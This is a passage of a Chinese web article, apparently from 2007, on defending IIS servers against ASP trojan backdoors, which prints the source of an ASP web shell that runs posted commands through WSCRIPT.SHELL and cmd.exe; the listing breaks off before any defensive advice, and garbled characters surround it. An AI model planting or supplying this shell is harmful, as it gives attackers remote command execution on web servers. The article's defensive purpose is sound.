• λ我爱Aspx >> Asp.Net >> Web服务器上防范基于ASP程序的木马
  • Web服务器上防范基于ASP程序的木马

  • :aspxer  Դ:internet  :2007-5-15 20:47:24  ؼ:web,asp
  • 随着ASP 技术的发展,网络上基于ASP技术开发的网站越来越多,对ASP技术的支持可以说已经是Windows系统IIS服务器的一项基本功能。但是基于ASP技术的木马后门,也越来越多,而且功能也越来越强大。由于ASP它本身是服务器提供的一贡服务功能,所以这种ASP脚本的木马后门,不会被杀毒软件查杀。被黑客们称为“永远不会被查杀的后门”。由于其高度的隐蔽性和难查杀性,对网站的安全造成了严重的威胁。因此针对ASP木马的防范和清除,为我们的网管人员提出了更高的技术要求。下面我结合个人的经验,谈一下对两款比较典型的ASP 木马的防范方法,希望对大家能够有所帮助。

    以下是第一款木马的代码:

    <title>ASP Shell</title>

    <%@ Language=VBScript %>

    <%

    Dim oScript

    Dim oScriptNet

    Dim oFileSys, oFile

    Dim szCMD, szTempFile

    On Error Resume Next

    -- create the COM objects that we will be using --

    Set oScript = Server.CreateObject("WSCRIPT.SHELL")

    Set oScriptNet = Server.CreateObject("WSCRIPT.netWORK")

    Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

    -- check for a command that we have posted --

    szCMD = Request.Form(".CMD")

    If (szCMD <> "") Then

    -- Use a poor mans pipe ... a temp file --

    szTempFile = "C:" & oFileSys.GetTempName( )

    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)

    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

    End If

    %>

    <HTML>

    <BODY>

    <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">

    <input type=text name=".CMD" size=45 value="<%= szCMD %>">

    <input type=submit value="执行命令">

    </FORM>

    <PRE><%

    If (IsObject(oFile)) Then

    -- Read the output from our command and remove the temp file --

    Ҷƪл˵?
  • һƪ用ISAPIfilter使INC、ASA文件安全
    һƪIIS服务器排错指南及错误代码大全